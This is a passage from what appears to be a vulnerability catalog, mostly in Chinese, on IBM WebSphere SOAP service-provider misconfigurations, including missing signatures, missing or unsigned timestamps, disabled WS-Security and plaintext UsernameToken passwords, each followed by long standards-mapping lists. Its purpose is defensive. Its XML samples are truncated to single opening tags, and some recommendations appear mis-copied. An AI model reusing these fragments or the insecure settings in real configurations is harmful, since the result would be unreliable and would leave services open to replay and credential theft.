[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 319
[17] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[18] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000260 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000260 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000260 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
WebSphere Service Provider Misconfiguration: Missing Outbound Signature
ABSTRACT
缺少签名意味着无法保证 SOAP 消息的完整性。
EXPLANATION
消息中任何未经签名的部分,都可能在发送者或接收者未察觉的情况下被截取和修改。没有签名,接收者就无法借助密码来验证消息内容来自真正的发送者。
RECOMMENDATIONS
将该服务配置为对输出的消息进行签名。
下列服务提供程序配置可让 IBM WebSphere 验证输入请求的签名:
1 | <com.ibm.etools.webservice.wsext:WsExtension xmi:version="2.0" xmlns:xmi="http://www.omg.org/XMI" xmlns:com.ibm.etools.webservice.wsext="http://www.ibm.com/websphere/appserver/schemas/5.0.2/wsext.xmi" xmi:id="WsExtension_1295496768035"> |
REFERENCES
[1] Web Services Handbook for WebSphere Application Server 6.1 IBM Redbooks
[2] Standards Mapping - Common Weakness Enumeration CWE ID 245
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.4
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.4
[13] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3260.1 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3860 CAT II, APP3260 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3860 CAT II, APP3260 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3860 CAT II, APP3260 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3860 CAT II, APP3260 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3860 CAT II, APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3860 CAT II, APP3260 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[23] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[24] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
WebSphere Service Provider Misconfiguration: Missing Outbound Timestamp
ABSTRACT
若缺少时间戳,会导致 SOAP 消息遭受 replay 攻击。
EXPLANATION
安全性时间戳可表明消息的“新鲜性”。如果攻击者截取了一则消息,稍后将其转发,则接收者能够拒绝此 replay 攻击,因为时间戳会指明该消息已过期。时间戳可包含有效期属性,通过该属性,可对安全语义的有效期设置一个硬限制。
为避免攻击者篡改时间戳,应对时间戳执行签名。如果 SOAP 消息的时间戳未经签名,则攻击者可在接收者不知情的情况下截取该消息、修改时间戳,以及转发该消息。在这种情况下,攻击者可能会欺骗接收者接受恶意消息。
RECOMMENDATIONS
将服务配置为在输出的响应中发送时间戳。 下列 WebSphere 配置可将时间戳添加到输出的 SOAP 响应中:
1 | <com.ibm.etools.webservice.wsext:WsExtension xmi:version="2.0" xmlns:xmi="http://www.omg.org/XMI" xmlns:com.ibm.etools.webservice.wsext="http://www.ibm.com/websphere/appserver/schemas/5.0.2/wsext.xmi" xmi:id="WsExtension_1152150731239"> |
REFERENCES
[1] Web Services Handbook for WebSphere Application Server 6.1 IBM Redbooks
[2] Standards Mapping - Common Weakness Enumeration CWE ID 254
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.4
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.4
[13] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3260.1 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3870 CAT I, APP3260 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3870 CAT I, APP3260 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3870 CAT I, APP3260 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3870 CAT I, APP3260 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3870 CAT I, APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3870 CAT I, APP3260 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-000190 CAT I, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-000190 CAT I, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-000190 CAT I, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[23] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[24] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
WebSphere Service Provider Misconfiguration: Missing Timestamp Expiration
ABSTRACT
若 SOAP 消息含有不会到期的时间戳,则它可能容易受到 replay 攻击。
EXPLANATION
时间戳到期时,随该时间戳一同发送的任何安全语义也会随之到期。因此,没有有效期的时间戳可能会让安全语义(例如 UsernameToken 凭证)永远保持有效。
RECOMMENDATIONS
确保时间戳具有到期时间。 例如,下面的 addTimestamp 元素包含 expires 属性:
1 | <addTimestamp xmi:id="AddTimestamp_1212094497592" expires="P3Y0M0DT4H0M0.0S"/> |
REFERENCES
[1] Web Services Security SOAP Message Security 1.1 OASIS
[2] Standards Mapping - Common Weakness Enumeration CWE ID 254
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.4
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.4
[13] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3260.1 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3870 CAT I, APP3260 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3870 CAT I, APP3260 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3870 CAT I, APP3260 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3870 CAT I, APP3260 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3870 CAT I, APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3870 CAT I, APP3260 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-000190 CAT I, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-000190 CAT I, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-000190 CAT I, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[23] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[24] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
WebSphere Service Provider Misconfiguration: Outbound WS-Security Not Enabled
ABSTRACT
若服务提供程序不使用 WS-Security,则难以保证消息的完整性或保密性。
EXPLANATION
WS-Security 是 SOAP 的增强功能,无论采用何种传输协议,它都能提供端到端的消息完整性和保密性。不使用 WS-Security 时,将依靠传输安全性来保证消息的完整性和保密性。如果一项服务将消息转发到其他服务,则会使用中继点之间最薄弱的传输机制传送消息。WS-Security 可移除传输安全性 dependency,并将安全性内置到消息中。
若 IBM WebSphere WS-Security 服务器部署描述符扩展文件中缺少 <securityResponseGeneratorServiceConfig>
标签,则表明未启用输入消息的安全性。
RECOMMENDATIONS
将该服务配置为使用 WS-Security。该配置应包含 <securityResponseGeneratorServiceConfig>
标签以及适当的安全令牌、时间戳、签名和加密标签。
REFERENCES
[1] Web Services Handbook for WebSphere Application Server 6.1 IBM Redbooks
[2] Web Services Security SOAP Message Security 1.1 OASIS
[3] Standards Mapping - Common Weakness Enumeration CWE ID 311
[4] Standards Mapping - FIPS200 CM, SC
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[7] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[8] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[9] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[10] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[17] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 319
[18] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[19] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260.1 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000260 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000260 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000260 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[30] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[31] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
WebSphere Service Provider Misconfiguration: Unsigned Inbound Timestamp
ABSTRACT
未经签名的时间戳会导致 SOAP 消息遭受 tampering 及 replay 攻击。
EXPLANATION
安全性时间戳可表明消息的“新鲜性”。如果攻击者截取了一则消息,稍后将其转发,则接收者能够拒绝此 replay 攻击,因为时间戳会指明该消息已过期。时间戳可包含有效期属性,通过该属性,可对安全语义的有效期设置一个硬限制。
为避免攻击者篡改时间戳,应对时间戳执行签名。如果 SOAP 消息的时间戳未经签名,则攻击者可在接收者不知情的情况下截取该消息、修改时间戳,以及转发该消息。在这种情况下,攻击者可能会欺骗接收者接受恶意消息。
下列服务提供程序配置可让 WebSphere 接受输入的未经签名的时间戳:
1 | <com.ibm.etools.webservice.wsext:WsExtension xmi:version="2.0" xmlns:xmi="http://www.omg.org/XMI" xmlns:com.ibm.etools.webservice.wsext="http://www.ibm.com/websphere/appserver/schemas/5.0.2/wsext.xmi" </pre> |
RECOMMENDATIONS
将该服务配置为对输入的时间戳验证签名。
下列服务提供程序配置可让 Axis 2 验证输入请求的签名:
1 | <com.ibm.etools.webservice.wsext:WsExtension xmi:version="2.0" xmlns:xmi="http://www.omg.org/XMI" xmlns:com.ibm.etools.webservice.wsext="http://www.ibm.com/websphere/appserver/schemas/5.0.2/wsext.xmi" xmi:id="WsExtension_1152150731239"> |
REFERENCES
[1] Web Services Handbook for WebSphere Application Server 6.1 IBM Redbooks
[2] Web Services Security: SOAP Message Security 1.1 OASIS
[3] Standards Mapping - Common Weakness Enumeration CWE ID 345
[4] Standards Mapping - FIPS200 CM
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[7] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.4
[14] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3260.1 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3860 CAT II, APP3260 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3860 CAT II, APP3260 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3860 CAT II, APP3260 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3860 CAT II, APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3860 CAT II, APP3260 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3860 CAT II, APP3260 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[24] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[25] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
WebSphere Service Provider Misconfiguration: Unsigned Outbound Timestamp
ABSTRACT
未经签名的时间戳会导致 SOAP 消息遭受 tampering 及 replay 攻击。
EXPLANATION
安全性时间戳可表明消息的“新鲜性”。如果攻击者截取了一则消息,稍后将其转发,则接收者能够拒绝此 replay 攻击,因为时间戳会指明该消息已过期。时间戳可包含有效期属性,通过该属性,可对安全语义的有效期设置一个硬限制。
为避免攻击者篡改时间戳,应对时间戳执行签名。如果 SOAP 消息的时间戳未经签名,则攻击者可在接收者不知情的情况下截取该消息、修改时间戳,以及转发该消息。在这种情况下,攻击者可能会欺骗接收者接受恶意消息。
下列服务提供程序配置可让 WebSphere 发送未经签名的时间戳:
1 | <com.ibm.etools.webservice.wsext:WsExtension xmi:version="2.0" xmlns:xmi="http://www.omg.org/XMI" xmlns:com.ibm.etools.webservice.wsext="http://www.ibm.com/websphere/appserver/schemas/5.0.2/wsext.xmi" </pre> |
RECOMMENDATIONS
将该服务配置为对输入的时间戳验证签名。
下列服务提供程序配置可让 WebSphere 对输出的消息进行签名:
1 | <com.ibm.etools.webservice.wsext:WsExtension xmi:version="2.0" xmlns:xmi="http://www.omg.org/XMI" xmlns:com.ibm.etools.webservice.wsext="http://www.ibm.com/websphere/appserver/schemas/5.0.2/wsext.xmi" </pre> |
REFERENCES
[1] Web Services Handbook for WebSphere Application Server 6.1 IBM Redbooks
[2] Web Services Security: SOAP Message Security 1.1 OASIS
[3] Standards Mapping - Common Weakness Enumeration CWE ID 345
[4] Standards Mapping - FIPS200 CM
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[7] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.4
[14] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3260.1 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3860 CAT II, APP3260 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3860 CAT II, APP3260 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3860 CAT II, APP3260 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3860 CAT II, APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3860 CAT II, APP3260 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3860 CAT II, APP3260 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[24] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[25] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
WebSphere Service Provider Misconfiguration: Weak Token
ABSTRACT
若在未经加密的通道上使用 UsernameToken 及明文密码,则可截取 SOAP 消息的攻击者会趁机获取该密码。
EXPLANATION
使用 UsernameToken 的服务提供程序可能会接受以明文形式发送的密码。若通过未经加密的通道发送明文密码,则可截取 SOAP 消息的攻击者会趁机获取凭证。
下列 WebSphere 服务提供程序配置使用了此 UsernameToken:
1 | <com.ibm.etools.webservice.wsext:WsExtension xmi:version="2.0" xmlns:xmi="http://www.omg.org/XMI" xmlns:com.ibm.etools.webservice.wsext="http://www.ibm.com/websphere/appserver/schemas/5.0.2/wsext.xmi" xmi:id="WsExtension_1152150731239"> |
RECOMMENDATIONS
要求使用签名,而不是 UsernameToken。下面提供了一个配置示例:
1 | <com.ibm.etools.webservice.wsext:WsExtension xmi:version="2.0" xmlns:xmi="http://www.omg.org/XMI" xmlns:com.ibm.etools.webservice.wsext="http://www.ibm.com/websphere/appserver/schemas/5.0.2/wsext.xmi" xmi:id="WsExtension_1152150731239"> |
REFERENCES
[1] Web Services Security: SOAP Message Security 1.1 OASIS
[2] Web Services Security Username Token Profile 1.0 OASIS
[3] Standards Mapping - Common Weakness Enumeration CWE ID 311
[4] Standards Mapping - FIPS200 MP
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[7] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[8] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[9] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[10] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.8, Requirement 8.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.3, Requirement 8.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.3, Requirement 8.2.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.3, Requirement 8.2.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.3, Requirement 8.2.1
[17] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[18] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260.1 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000220 CAT II, APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000220 CAT II, APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
